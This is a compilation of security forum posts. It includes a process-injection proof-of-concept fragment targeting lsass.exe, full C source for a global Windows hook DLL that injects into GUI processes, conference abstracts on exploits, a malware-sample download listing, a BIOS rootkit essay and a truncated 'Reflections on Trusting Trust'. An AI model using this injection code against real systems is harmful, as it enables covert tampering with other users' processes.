RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef NTSTATUS (WINAPI * PFN_ZWQUERYINFORMATIONPROCESS)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); NTSTATUS (__stdcall *ZwQueryInformationProcess)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength OPTIONAL ); NTSTATUS (__stdcall *ZwCreateSection)( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, PDWORD ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL ); NTSTATUS (__stdcall *ZwMapViewOfSection) ( HANDLE SectionHandle, HANDLE ProcessHandle, OUT PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect ); NTSTATUS (__stdcall *ZwUnmapViewOfSection)( HANDLE ProcessHandle, PVOID BaseAddress ); So for the p0c i just put a INT3 at entry point of lsass.exe, and here the result : [h=2]Conclusion[/h] This method is really fun because it don't use SetThreadContext(), for updating eip before resuming thread execution. Sursa: w4kfu's bl0g

[h=1]Analyzing Unknown Malware[/h] [h=3]#1 Dropper of kernel-mode stealer[/h][h=3]#Offtopic The case of the gethostbyname() exception[/h][h=3]#2 Disclosure of an interesting Botnet - The Executable (Part 1)[/h][h=3]#2 Disclosure of an interesting Botnet - The Server (Part 2)[/h][h=3]#3 Disclosure of another 0day malware - Initial Dropper and Downloader (Part 1)[/h][h=3]#3 Disclosure of another 0day malware - Analysis of 2nd Dropper and 3rd Dropper (Part 2)[/h][h=3]#3 Disclosure of another 0day malware - Analysis of the final Payload (Part 3)[/h][h=3]#3 Disclosure of another 0day malware - Update and Additional Information[/h][h=3]#4 Analysis of an uncommon Downloader[/h][h=3]#5 South Korea Incident - New Malware samples[/h][h=3]#6 South Korea Incident - Analysis of a tiny Downloader[/h][h=3]#7 Brief description of a signed Adware/PUP Downloader[/h][h=3]#8 Back to the future - Analysis of an old Downloader[/h] Sursa: Analyzing Unknown Malware

Blackhat Eu 2013 - Hacking Video Conferencing Systems Description: High-end videoconferencing systems are widely deployed at critical locations such as corporate meeting rooms or boardrooms. Many of these systems are reachable from the Internet or via the telephone network while in many cases the security considerations are limited to the secure deployment and configuration. We conducted a case study on Polycom HDX devices in order to assess the current state of security on those devices. After analyzing the software update file format and showing how to get system level access to the otherwise closed devices we describe how to setup a proper vulnerability development environment which lays the groundwork for future security research. We demonstrate the feasibility of remotely compromising Polycom HDX devices over the network by implementing an exploit for one of the vulnerabilities we identified in the H.323 stack of the current software version which allows us to compromise even firewalled devices as long as the H.323 port is reachable. Our attack does not require the auto-answer feature for incoming calls to be turned on. We conclude with some thoughts about post-exploitation and describe possible ways to control attached peripherals such as the video camera and microphone which could be used to build a surveillance rootkit. For More Information please visit : - Black Hat | Europe 2013 - Briefings Sursa: Blackhat Eu 2013 - Hacking Video Conferencing Systems

[h=1]Creating Global Api Hook Using Windows Hook[/h][h=3]zwclose7[/h] Windows hooks allows you to inject DLL into all GUI processes that are running in the same session. This allows you to inject a hook DLL into most running processes. Windows hooks can't inject DLL into system processes or service processes. I just written a hook DLL to show you how to use Windows hook to inject DLL into GUI processes. The DLL has a exported function, SetHook. Use the rundll32 tool to call execute this function. Once the function is executed, the function set the Windows hook, and inject the DLL into all GUI processes. When the DLL is injected, it hooks the InternetConnectW function to block all websites that contain the word "google" in the URL. To install the hook using the rundll32 tool, use the following command line: rundll32 <DllPath>,SetHook When the rundll32.exe process is terminated, the Windows hook is removed, and the hooked InternetConnectW is also unhooked. I am using my API hooking header for this project. #include <stdio.h>#include <Windows.h> #include <WinInet.h> #include "apihook.h" typedef HINTERNET (WINAPI *pInternetConnectW)(HINTERNET,LPCWSTR,INTERNET_PORT,LPCWSTR,LPCWSTR,DWORD,DWORD,DWORD_PTR); pInternetConnectW fnInternetConnectW; HINSTANCE hInst; API_HOOK Hook; extern "C" __declspec(dllexport) LRESULT CALLBACK CallWndProc(int nCode,WPARAM wParam,LPARAM lParam) { return CallNextHookEx(NULL,nCode,wParam,lParam); } extern "C" __declspec(dllexport) void SetHook() { SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hInst,0); Sleep(INFINITE); } HINTERNET WINAPI HookInternetConnectW(HINTERNET hInternet,LPCWSTR ServerName,INTERNET_PORT InternetPort,LPCWSTR UserName,LPCWSTR Password,DWORD dwService,DWORD dwFlags,DWORD_PTR dwContext) { if(wcsstr(ServerName,L"google")) { OutputDebugString("Your request to access Google has been denied!"); SetLastError(ERROR_ACCESS_DENIED); return NULL; } return fnInternetConnectW(hInternet,ServerName,InternetPort,UserName,Password,dwService,dwFlags,dwContext); } BOOL WINAPI DllMain(HMODULE hModule,DWORD dwReason,LPVOID lpReserved) { char szModuleName[260],str[1024]; hInst=hModule; switch(dwReason) { case DLL_PROCESS_ATTACH: GetModuleFileName(NULL,szModuleName,260); sprintf(str,"Hook DLL loaded into process %s (%d)",szModuleName,GetCurrentProcessId()); OutputDebugString(str); InitAPIHook(&Hook,"wininet.dll","InternetConnectW",HookInternetConnectW); fnInternetConnectW=(pInternetConnectW)Hook.OrigFunction; StartAPIHook(&Hook); break; case DLL_PROCESS_DETACH: UnhookAPIHook(&Hook); RemoveAPIHook(&Hook); break; } return TRUE; } [h=4]Attached Thumbnails[/h] [h=4]Attached Files[/h] WindowsHook.zip 270.07KB 13 downloads Sursa: Creating Global Api Hook Using Windows Hook - Source Codes - rohitab.com - Forums

[h=3]CentOS 6.4 Linux Installation Guide Step by Step[/h] Overview : This tutorial will help the system administrators to install CentOS 6.4 linux on Servers. Whereas CentOS (Community Enterprise Operating System) is a Linux distribution which attempts to provide a free enterprise class computing platform which has 100% binary compatibility with its upstream source, Red Hat Enterprise Linux (RHEL). Note : First download the ISO files (http://centos.mirror.net.in/centos/6.4/isos/x86_64/) for your respective Server's architecture and write the iso file to DVD. Installation Steps: Step:1 Set your Server's BIOS to boot from CD / DVD. Select Install or Upgrade existing system options as shown below : Step:2 Select Skip media test Step:3 Click on Next on welcome screen as shown below . Step:4 Select English & click on Next. Step:5 Select Appropirate keyboard ( U.S English in my Case). Click on Next Step:6 Select “Basic Storage Devices” option if you want to install OS locally on attached hard disk. Click on Next Step:7 Select “Yes , discard any data” Option as shown below Step:8 Set the Hostname and Click on “Configure Network” if you want to configure network during installation Step:9 Select the Time Zone with respect your Region Click on Next Step:10 Set the Root Password Click on Next Step:11 Select the Install Type , in my i am using “Use All Space”. If you want to create your own partition partition table , then select “Create Custom Layout” Option. Click on Next Step:12 Verify Partition Scheme and click on Next. Step:13 Click On the Format. Step:14 Click On “Write Changes to disk” Step:15 Set bootloader options. Click on next Step:16 Select the Software you want to Install , in my case i am using “Basic Server” Click On Next. Note : If want to select the software mannually , click on “Customize Now” and select your respective softwares. Step:17 Installation Started as shown below Step:18 Installation Completed , Reboot Your Server Now. Step:19 Welcome Login Screen (Run Level 3). Enter the user as root and enter password. Sursa: CentOS 6.4 Linux Installation Guide Step by Step

Forwarded from: Marjorie Simmons <lawyer (at) marjoriesimmonsesq.com> A Friday muse for the equinox: As everyone not living under a rock now knows, the NSA is an APT (advanced persistent threat): "[t]hrough covert partnerships with tech companies, the spy agencies have inserted secret vulnerabilities into encryption software." http://www.theguardian.com/world/2013/sep/05/nsa-gchq-encryption-codes-security According to the materials The Guardian published online, in one of the briefings between the NSA and GCHQ to "celebrate their success at 'defeating network security and privacy'", the NSA's material states: "For the past decade, NSA has lead an aggressive, multi-pronged effort to break widely used Internet encryption technologies". The 'multi-pronged' language makes sense, since traditionally one doesn't simply rely on a single avenue of attack in an effort to undermine an enemy. So, in raping the sacred cow of crypto, what might one of the prongs be? What's least path of resistance? I had a recent reason to think about that, and decided on the BIOS. Awhile back I was close to someone who turned out to be a conspiracy-theorist, (and I had quite enough of that, thank you very much), but there are instances when the adage that "just because you're paranoid doesn't mean they're not out to get you" has a certain ring of truth to it. (I imagine all the conspiracy-theorists threw a "there is a god!" party when The Guardian published the recent news.) In the last few weeks I was offered a BIOS update for an x64 i7 notebook built in 2011 which runs Windows 7. The BIOS is set up to optionally use UEFI (Unified Extensible Firmware Interface) boot mode, which on this machine is disabled by default. It also has an option for enabling Intel's AMT (Active Management Technology), which is enabled by default and has an option to disable it, but no option to enable or disable the similar and dependant Computrace/LoJack anti-theft functions that are also burned into BIOS by the manufacturer. I knew this machine had the LoJack modifications to the BIOS chip because the hardware manufacturer's security software offers the use of LoJack within security setup once the user is already within the OS. Given the well-documented security threat that LoJack presents, one wants to disable it but cannot do so easily as one can with the precursor AMT, which is (or at least appears to be) more transparent. You never know though: Researchers can slip an undetectable trojan into Intel's Ivy Bridge CPUs, http://arstechnica.com/security/2013/09/researchers-can-slip-an-undetectable-trojan-into-intels-ivy-bridge-cpus/. For those unaware, the Computrace/LoJack product is anti-theft tracking software that periodically connects to Absolute Software's servers (the makers/licensors of LoJack) to announce its location and to check to see if the machine has been reported stolen. It can report such things, besides georeferencing, as installed software and encryption status, and perform file retrieval. (http://www3.absolute.com/Shared/Datasheets/CT-MX-E.sflb.ashx) The smart people who hacked it show how it can be reconfigured to further undesirable ends, see Deactivate the rootkit - Black Hat Vegas 2009 - Exploiting Stuff: http://web.archive.org/web/20120316214910/http://exploiting.wordpress.com/2009/09/11/138/, and The BIOS-Embedded Anti-Theft Persistent Agent that Couldn't: Handling the Ostrich Defense - Core Security Technologies http://web.archive.org/web/20120226125347/http://blog.coresecurity.com/2009/08/11/the-bios-embedded-anti-theft-persistant-agent-that -couldnt-response-handling-the-ostrich-defense/. LoJack (and some of its competitors products, of which there aren't many) comes preinstalled in the BIOS of Acer, Asus, Dell, Fujitsu, Gateway, HP, Lenovo, Panasonic, Samsung, and Toshiba machines, among others, (product partners with model numbers are listed at http://www.absolute.com/en/partners/bios-compatibility.aspx, Intel's anti-theft partners for consumer machines, including LoJack, are at http://www.intel.com/content/www/us/en/architecture-and-technology/anti-theft/anti-theft-service-providers.html and for business ,including Computrace, are at http://www.intel.com/content/www/us/en/architecture-and-technology/anti-theft/anti-theft-service-providers-enterprise.html; notebook models supported are listed in http://www.intel.com/content/dam/www/public/us/en/documents/datasheets/anti-theft-tested-platforms-support-datasheet.pdf). While it wouldn't make economic sense for Absolute to track a machine whose owner hasn't paid the licensing fee, any rootkit exploiting LoJack's weaknesses in the BIOS implementation would find it a neat way to own a machine while bypassing all OS-level protections, directing in-and-outbound traffic through servers of their choice. I'm confident the BIOS geeks at the NSA are tickled pink with it and are all up in its stuff, especially given the documented ownability of it -- because it makes codebreaking unnecessary. Fifteen years ago the Chernobyl virus targeted systems' BIOS causing an estimated $1 billion US dollars in commercial damages alone, as for Stuxnet, though eschewing the BIOS in favor of a badass PLC, who knows its ultimate costs? The damage that an effective rootkit using BIOS or targeting chipsets could do, now, is staggering, when you think about it. There's been plenty of time for the NSA to consider the possibilities, and plenty of incentive given the demographic of millions of Computrace/LoJack-affected machines lying in wait for the cloak and dagger crowd to work their magic. LoJack is enabled on notebooks by default, currently working through architecture like Intel's AMT, and stays 'dormant' until one purchases a license for it (I didn't), at which point Absolute's software will instruct the affected BIOS to copy an existing downloader from the BIOS flash ROM (usually named rpcnetp.exe) to %WINDIR%\System32; on some machines rpcnetp.exe is preinstalled with the OS on the unit's hard drive prior to shipment from the factory. When activated, rpcnetp.exe downloads the agent rpcnet.exe and installs it as a service. The enable/disable state of the persistence module is stored in a part of the BIOS that cannot be flashed to remove it, and in this way provides a no-touch method for it being a primary and persistent threat tool if it is compromised. (http://www.absolute.com/en/resources/faq/absolute-computrace-technology). Presumably, disabling AMT disables the vehicle which drives the LoJack functions, but since Intel's Ivy Bridge has already been compromised, LoJack could still jack a box with a compromised Ivy Bridge even if it or AMT is showing "disabled" in a BIOS. UEFI, a specification defining a software interface between an operating system and platform firmware, at the same time offers an architecture to build better security but also presents a common base for targeting attacks. (Analysis of the building blocks and attack vectors associated with the UEFI, https://www.sans.org/reading-room/whitepapers/services/analysis-building-blocks-attack-vectors-unified-extensible-firmware-34215?sho w=analysis-building-blocks-attack-vectors-unified-extensible-firmware-34215&cat=services.) UEFI has many detractors because it takes the control of machine out of the hands of its owner, for instance, Ronald Minnich (co-author of coreboot) and Cory Doctorow have continually criticized EFI as an attempt to remove the ability of a computer's owner to truly control it. (https://archive.fosdem.org/2007/interview/ronald+g+minnich) Of course, for Windows 8, Microsoft's certification requirements require that computers' firmware implement UEFI, and if they support 'Connected Standby' in Windows 8, then the firmware isn't allowed to contain a compatibility mode, so systems supporting connected standby are not capable of booting 'legacy' BIOS-type operating systems: "An OEM may not ship a 64-bit system which defaults to legacy BIOS or loads legacy option ROMs if that system ships with a UEFI-compatible OS", nor can they indicate connectivity in standby mode: "Systems that support Connected Standby must not include a light indicating the status of the radios in the system", (ostensibly in order to conserve energy); and a "LAN device on systems that support Connected Standby must deliver reliable connectivity in Connected Standby" because "[t]he intent of a system that supports connected standby is that it is always connected to the cloud, whether the system is fully powered or in connected standby". (http://web.archive.org/web/20120802023617/http://msdn.microsoft.com/en-us/library/windows/hardware/jj128256.aspx) I'm confident the UEFI programmers at the NSA are delighted about this, because if they can compromise a Windows 8 machine running Computrace/LoJack, they can perform I/O operations while the machine is in connected standby with no indication to the user or to OS-dependent anti-malware programs of their traffic. So I look at this machine and then at my Linux machines and think it really is past time to ditch Windows entirely, but I need to use it because clients use Windows software that I can't run under Wine, and I can't pry them off Windows, though I've tried. Linux though, is also vulnerable to pre-OS attacks in a similar way. This machine also has, like my Linux AMD boxes, a BIOS option of using ACPI (Advanced Configuration and Power Interface) for SATA. ACPI has its own high-level interpreted language that can readily be used to code a rootkit and store key attack functions in the BIOS. Six years ago John Heasman documented this in his presentation at LayerOne on BIOS rootkits. (Researchers: Rootkits headed for BIOS, http://web.archive.org/web/20080724122321/http://www.securityfocus.com/news/11372 and see his presentation .) Heasman also presented at BlackHat the same year, Hacking the Extensible Firmware Interface, http://web.archive.org/web/20091211100105/http://www.ngssoftware.com/research/papers/BH-VEGAS-07-Heasman.pdf. (See alsoPersistent BIOS infection at CanSecWest 2009 http://exploiting.wordpress.com/2009/03/23/cansecwest-was-great-here-the-presentation-slides/ and http://www.theregister.co.uk/2009/03/24/persistent_bios_rootkits/.) Although ACPI is a platform-independent open technology standard, its implementation is most often closed source, and with the 'covert partnerships' the NSA has a history of making with vendors, I'm confident the NSA's ACPI programmers are seeing what they can make of ACPI's usefulness even in its basic features, including in Linux, such as elevating privileges and reading physical memory, using their own procedures that replace legitimate functions stored in flash memory, and other such treats. (See, Researcher creates proof-of-concept malware that infects BIOS, network cards, http://www.cso.com.au/article/432041/researcher_creates_proof-of-concept_malware_infects_bios_network_cards/, What You Need to Know About Linux Rootkits, http://www.linuxsecurity.com/content/view/154709/171/; and, Ultimate PC security requires UEFI -- and Windows 8 or Linux, http://www.infoworld.com/d/security/ultimate-pc-security-requires-uefi-and-windows-8-or-linux-215048.) Because through all the usual and some creative means I wasn't able to update the BIOS on this machine, the situation occasioned a call to the vendor's support line and ultimately they decided the machine needed a new motherboard. Though I told the (major market-player) vendor I wanted a board without the LoJack mods to the BIOS, they said they would try but couldn't guarantee I'd get a clean board. This was like reminding them the machine is still under warranty so they must provide a new board and not a remanufactured one, and they say, "We'll try ...". I sigh realizing that Linux or Windows or Mac, it doesn't matter. Without an easy and timely method to hash a BIOS for everyone to make sure it hasn't been modified with unwanted instructions, and without open source hardware industry standards that are implemented as a matter of course in a transparent manner, the NSA and its far flung equivalents will continue to be an advanced persistent threat and all our BIOS is belong to them. ### -- Find the best InfoSec talent without breaking your recruiting budget! Post a Job, $99 for 31 days. Hot InfoSec Jobs - http://www.hotinfosecjobs.com/

Blackhat Eu 2013 - A Perfect Crime? Only Time Will Tell Description: On 2012, security researchers shook the world of security with their CRIME attack against the SSL encryption protocol. CRIME (Compression Ratio Info-leak Made Easy) attack used an inherent information leakage vulnerability resulting from the HTTP compression usage to defeat SSL’s encryption. However, the CRIME attack had two major practical drawbacks. The first is the attack threat model: CRIME attacker is required to control the plaintext AND to be able to intercept the encrypted message. This attack model limits the attack to mostly MITM (Man In The Middle) situation. The second issue is the CRIME attack was solely aimed at HTTP requests. However, most of the current web does not compress HTTP requests. The few protocols that did support HTTP requests compression (SSL compression and SPDY) had dropped their support following the attack details disclosure, by thus rendering the CRIME attack irrelevant. In our work we address these two limitations by introducing the TIME (Timing Info-leak Made Easy) attack for HTTP responses. By using timing information differential analysis to infer on the compressed payload’s size, the CRIME attack’s attack model can be simplified and its requirements can be loosened. In TIME’s attack model the attacker only needs to control the plaintext, theoretically allowing any malicious site to launch a TIME attack against its innocent visitors, to break SSL encryption and/or Same Origin Policy (SOP). Changing the target of the attack from HTTP requests to HTTP responses significantly increases the attack surface, as most of the current web utilizes HTTP response compression to save bandwidth and latency. In particular, we: Introduce the TIME attack Show an actual POC of timing differential analysis to infer on the compressed payload’s size and subsequently the cipher-text’s underlying plaintext Show the relevancy of compression ratio information leakage for HTTP responses Suggest mitigation steps against the TIME attack For More Information please visit : - Black Hat | Europe 2013 - Briefings Sursa: Blackhat Eu 2013 - A Perfect Crime? Only Time Will Tell

[h=1]3D-Printed Robot Cracks Your Android PIN Code[/h] Using a PIN to lock your Android phone will keep it safe from most people, but not from R2B2 — a robot designed to brute-force its way through any four-digit code in less than a day. R2B2, the Robotic Reconfigurable Button Basher, is the invention of Justin Engler — a senior security engineer at New York-based iSEC Partners. The robot has debuted on YouTube in advance of its appearance at the Black Hat security conference in Las Vegas. Instead of using sophisticated software to crack Android PINs, R2B2 adopts the tried-and-true method of entering every possible combination until something clicks. In hacking, this method is known as a "brute-force" attack, but R2B2 is unique in that it exhibits brute-force behavior in real life rather than digitally. The robot — four yellow manipulators that control a central appendage, resting atop two "legs" — can sit atop an Android phone and simply press buttons over and over again. There are 10,000 possible four-digit PINs — a relatively small number, but still too many for one human to work through. R2B2, on the other hand, has no need for food, sleep or mental stimulation, and can work through every possible PIN in just 20 hours. If a user enters five incorrect PINs in a row, the Android OS enforces a 30-second waiting period before the person can try again — but that is the only disincentive. This is why R2B2 wouldn't work on iOS devices: Apple employs an iterative system that makes a user wait increasingly longer to retry after each incorrect PIN entry. You can actually create your own R2B2, if you want. The robot is the result of open-source software, a few cheap electronics and a standard MakerBot 3D printer, reports Forbes. In fact, apart from the electronic components, the entire robot was 3D-printed. The robot's legs, central stand and "finger" apparatus all came from a 3D printer. Engler plans to release all of his blueprints within the next few weeks, which means that anyone in need of a neat party trick can print and cobble together his or her own R2B2. Though R2B2 is a novel device, it doesn't pose much of a security risk. No one is likely to leave his or her Android phone beneath a very distinctive robot for 20 hours straight, and even if someone did, the robot wouldn't be able to inflict any harm because all it can do is guess PINs. What R2B2 does demonstrate, though, is that PINs aren't a foolproof security measure, especially compared to pattern- and password-based methods. Additionally, Android could take a page out of the iOS playbook when it comes to locking out potential malefactors. Image: Mashable This article originally published at TechNewsDaily here Sursa: 3D-Printed Robot Cracks Your Android PIN Code

Am aflat cu monitorizeaza NSA-ul pe toata lumea. http://www.southparkstudios.com/full-episodes/s17e01-let-go-let-gov Atat de simplu si atat de eficient...

Malware archives [h=3]Warning! Warning! Warning! Warning! Warning![/h] Malware samples are available for download by any responsible whitehat researcher. By downloading the samples, anyone waives all rights to claim punitive, incidental and consequential damages resulting from mishandling or self-infection. If you do not know what you are doing here, it is recommended you leave right away. This page has no commercial purpose. Contact me via email for the passwords (specifying all or single archive). If you see errors, typos, etc, please let me know. [h=3]Notes about the collection of binaries[/h] Honeypot ISP: AS3269 Interbusiness (Telecom Italia) Honeypot software: amun, dionaea Total files: 7085 Period of time: Aug 2009 - Feb 2013 Type of files: ASCII, data, HTML, MS-DOS, PE32 (dll, gui, Mono/.Net) [TABLE=class: table table-bordered table-striped] [TR] [TH]Archive[/TH] [TH]List[/TH] [TH]#[/TH] [TH]Download[/TH] [TH]Size[/TH] [/TR] [TR] [TD]nothink-malware-archive-0.zip[/TD] [TD]list-md5-0.txt[/TD] [TD]445[/TD] [TD]link[/TD] [TD]50M[/TD] [/TR] [TR] [TD]nothink-malware-archive-1.zip[/TD] [TD]list-md5-1.txt[/TD] [TD]411[/TD] [TD]link[/TD] [TD]50M[/TD] [/TR] [TR] [TD]nothink-malware-archive-2.zip[/TD] [TD]list-md5-2.txt[/TD] [TD]456[/TD] [TD]link[/TD] [TD]60M[/TD] [/TR] [TR] [TD]nothink-malware-archive-3.zip[/TD] [TD]list-md5-3.txt[/TD] [TD]440[/TD] [TD]link[/TD] [TD]58M[/TD] [/TR] [TR] [TD]nothink-malware-archive-4.zip[/TD] [TD]list-md5-4.txt[/TD] [TD]421[/TD] [TD]link[/TD] [TD]62M[/TD] [/TR] [TR] [TD]nothink-malware-archive-5.zip[/TD] [TD]list-md5-5.txt[/TD] [TD]456[/TD] [TD]link[/TD] [TD]57M[/TD] [/TR] [TR] [TD]nothink-malware-archive-6.zip[/TD] [TD]list-md5-6.txt[/TD] [TD]485[/TD] [TD]link[/TD] [TD]69M[/TD] [/TR] [TR] [TD]nothink-malware-archive-7.zip[/TD] [TD]list-md5-7.txt[/TD] [TD]441[/TD] [TD]link[/TD] [TD]59M[/TD] [/TR] [TR] [TD]nothink-malware-archive-8.zip[/TD] [TD]list-md5-8.txt[/TD] [TD]449[/TD] [TD]link[/TD] [TD]63M[/TD] [/TR] [TR] [TD]nothink-malware-archive-9.zip[/TD] [TD]list-md5-9.txt[/TD] [TD]466[/TD] [TD]link[/TD] [TD]63M[/TD] [/TR] [TR] [TD]nothink-malware-archive-a.zip[/TD] [TD]list-md5-a.txt[/TD] [TD]437[/TD] [TD]link[/TD] [TD]56M[/TD] [/TR] [TR] [TD]nothink-malware-archive-b.zip[/TD] [TD]list-md5-b.txt[/TD] [TD]427[/TD] [TD]link[/TD] [TD]64M[/TD] [/TR] [TR] [TD]nothink-malware-archive-c.zip[/TD] [TD]list-md5-c.txt[/TD] [TD]448[/TD] [TD]link[/TD] [TD]59M[/TD] [/TR] [TR] [TD]nothink-malware-archive-d.zip[/TD] [TD]list-md5-d.txt[/TD] [TD]435[/TD] [TD]link[/TD] [TD]51M[/TD] [/TR] [TR] [TD]nothink-malware-archive-e.zip[/TD] [TD]list-md5-e.txt[/TD] [TD]441[/TD] [TD]link[/TD] [TD]51M[/TD] [/TR] [TR] [TD]nothink-malware-archive-f.zip[/TD] [TD]list-md5-f.txt[/TD] [TD]427[/TD] [TD]link[/TD] [TD]57M[/TD] [/TR] [/TABLE] Sursa: Nothink.org

Browser Pivoting (Two-Factor Auth? Hah!) Description: A Browser Pivot is a way to inherit a user's access to sites by relaying requests through their browser. This man-in-the-browser capability gives pen testers a way to go around 2FA and demonstrate risk--even in high security environments. Browser Pivoting - Cobalt Strike Sursa: Browser Pivoting (Two-Factor Auth? Hah!)

Blackhat Eu 2013 - Advanced Heap Manipulation In Windows 8 Description: With the introduction of Windows 8, previously public known heap/kernel pool overflow exploitation techniques are dead because of exploit mitigation improvements. There are indications that compromising application speci?c data, which are facilitated by heap manipulation, are getting more popular for future exploitation. How to deterministically predict the heap state in great possible level? Tradition manipulation technique (both kernel pool and user heap) is to consistently defragment the heap which makes future allocations adjacent afterwards, and then make holes in these allocations to let the vulnerable buffer, which with similar size, fall into one of them. In the user heap a new LFH allocator was introduced, the randomized alloc/free and guard pages made this technique tough to work. Beyond that, the traditional technique has some limitations such as the size of the vulnerable buffer and the type of data structure that could be chosen as attacking target (especially in kernel pool), which together make it cannot be considered as a generic solution any more. This talk is aimed to provide an advanced method on precisely manipulating heap layout (kernel pool and user heap) by standing on the giant’s shoulder: “Heap Feng Shui”. Arbitrary sized vulnerable buffer could be covered with our more generic method which paves the way toward further interesting discoveries for security researchers. A reliable demo will be explained at the end of this section. By setting up the heap in a controlled state, some specific vulnerability scenarios could be exploited easily and reliably. In the following practical sections, this talk will then divided into two parts: 1: Kernel pool: I will show how to plant a desired kernel object into a fixed known address, and then demo exploit against write-what-where vulnerability scenarios. Furthermore, some attacks which need the sufficient control of the kernel pool and precise size information (eg: “block size attack” brought by Tarjei in his BH USA 2012 talk) may utilize this research. I will also show how carefully crafted kernel pool layout combined with application data corruption could lead to reliable exploit in kernel pool overflow scenarios. 2: User heap: I will discuss the possibility of heap determinism in Windows 8 user heap, and use demo to prove that: reliable heap exploitation is still achievable in some circumstance with proper heap layout crafting. Presented By: Zhenhua 'Eric' Liu For More Information please visit : - Black Hat | Europe 2013 - Briefings Sursa: Blackhat Eu 2013 - Advanced Heap Manipulation In Windows 8

Ken Thompson's "cc hack" - Presented in the journal, Communication of the ACM, Vol. 27, No. 8, August 1984, in a paper entitled "Reflections on Trusting Trust", Ken Thompson, co-author of UNIX, recounted a story of how he created a version of the C compiler that, when presented with the source code for the "login" program, would automatically compile in a backdoor to allow him entry to the system. This is only half the story, though. In order to hide this trojan horse, Ken also added to this version of "cc" the ability to recognize if it was recompiling itself to make sure that the newly compiled C compiler contained both the "login" backdoor, and the code to insert both trojans into a newly compiled C compiler. In this way, the source code for the C compiler would never show that these trojans existed. Reflections on Trusting Trust by Ken Thompson Introduction I thank the ACM for this award. I can't help but feel that I am receiving this honor for timing and serendipity as much as technical merit. UNIX swept into popularity with an industry-wide change from central main frames to autonomous minis. I suspect that Daniel Bobrow (1) would be here instead of me if he could not afford a PDP-10 and ad had to "settle" for a PDP-11. Moreover, the current state of UNIX is the result of the labors of a large number of people. There is an old adage, "Dance with the one that brought you," which means that I should talk about UNIX. I have not worked on mainstream UNIX in many years, yet I continue to get undeserved credit for the work of others. Therefore, I am not going to talk about UNIX, but I want to thank everyone who has contributed. That brings me to Dennis Ritchie. Our collaboration has been a thing of beauty. In the ten years that we have worked together, I can recall only one case of miscoordination of work. On that occasion, I discovered that we both had written the same 20-line assembly language program. I compared the sources and was astounded to find that they matched character-for-character. The result of our work together has been far greater than the work that we each contributed. I am a programmer. On my 1040 form, that is what I put down as my occupation. As a programmer, I write programs. I would like to present to you the cutest program I ever wrote. I will do this in three stages and try to bring it together at the end. Stage I In college, before video games, we would amuse ourselves by posing programming exercises. One of the favorites was to write the shortest self-reproducing program. Since this is an exercise divorced from reality, the usual vehicle was FORTRAN. Actually, FORTRAN was the language of choice for the same reason that three-legged races are popular. More precisely stated, the problem is to write a source program that, when compiled and executed, will produce as output an exact copy of its source. If you have never done this, I urge you to try it on your own. The discovery of how to do it is a revelation that far surpasses any benefit obtained by being told how to do it. The part about "shortest" was just an incentive to demonstrate skill and determine a winner. FIGURE 1 Figure 1 shows a self-reproducing program in the C programming language. (The purist will note that the program is not precisely a self-reproducing program, but will produce a self-reproducing program.) This entry is much too large to win a prize, but it demonstrates the technique and has two important properties that I need to complete my story: (I) This program can be easily written by another program. (2) This pro- gram can contain an arbitrary amount of excess baggage that will be reproduced along with the main algorithm. In the example, even the comment is reproduced. Stage II The C compiler is written in C. What I am about to describe is one of many "chicken and egg" problems that arise when compilers are written in their own language. In this ease, I will use a specific example from the C compiler. C allows a string construct to specify an initialized character array. The individual characters in the string can be escaped to represent unprintable characters. For example, "Hello world\n" represents a string with the character "\n," representing the new line character. FIGURE 2 Figure 2 is an idealization of the code in the C compiler that interprets the character escape sequence. This is an amazing piece of code. It "knows" in a completely portable way what character code is compiled for a new line in any character set. The act of knowing then allows it to recompile itself, thus perpetuating the knowledge. FIGURE 3 Suppose we wish to alter the C compiler to include the sequence "\v" to represent the vertical tab character. The extension to Figure 2 is obvious and is presented in Figure 3. We then recompile the C compiler, but we get a diagnostic. Obviously, since the binary version of the compiler does not know about "\v," the source is not legal C. We must "train" the compiler. After it "knows" what "\v" means, then our new change will become legal C. We look up on an ASCII chart that a vertical tab is decimal 11. We alter our source to look like Figure 4. Now the old compiler accepts the new source. We install the resulting binary as the new official C compiler and now we can write the portable version the way we had it in Figure 3. FIGURE 4 This is a deep concept. It is as close to a "learning" program as I have seen. You simply tell it once, then you can use this self-referencing definition. Stage III FIGURE 5 Again, in the C compiler, Figure 5 represents the high-level control of the C compiler where the routine "compile" is called to compile the next line of source. Figure 6 shows a simple modification to the compiler that will deliberately miscompile source whenever a particular pattern is matched. If this were not deliberate, it would be called a compiler "bug." Since it is deliberate, it should be called a "Trojan horse." FIGURE 6 The actual bug I planted in the compiler would match code in the UNIX "login" command. The replacement code would miscompile the login command so that it would accept either the intended encrypted password or a particular known password. Thus if this code were installed in binary and the binary were used to compile the login command, I could log into that system as any user. Such blatant code would not go undetected for long. Even the most casual perusal of the source of the C compiler would raise suspicions. FIGURE 7 The final step is represented in Figure 7. This simply adds a second Trojan horse to the one that already exists. The second pattern is aimed at the C compiler. The replacement code is a Stage I self-reproducing program that inserts both Trojan horses into the compiler. This requires a learning phase as in the Stage II example. First we compile the modified source with the normal C compiler to produce a bugged binary. We install this binary as the official C. We can now remove the bugs from the source of the compiler and the new binary will reinsert the bugs whenever it is compiled. Of course, the login command will remain bugged with no trace in source anywhere. Moral The moral is obvious. You can't trust code that you did not totally create yourself. (Especially code from companies that employ people like me.) No amount of source-level verification or scrutiny will protect you from using untrusted code. In demonstrating the possibility of this kind of attack, I picked on the C compiler. I could have picked on any program-handling program such as an assembler, a loader, or even hardware microcode. As the level of program gets lower, these bugs will be harder and harder to detect. A well installed microcode bug will be almost impossible to detect. After trying to convince you that I cannot be trusted, I wish to moralize. I would like to criticize the press in its handling of the "hackers," the 414 gang, the Dalton gang, etc. The acts performed by these 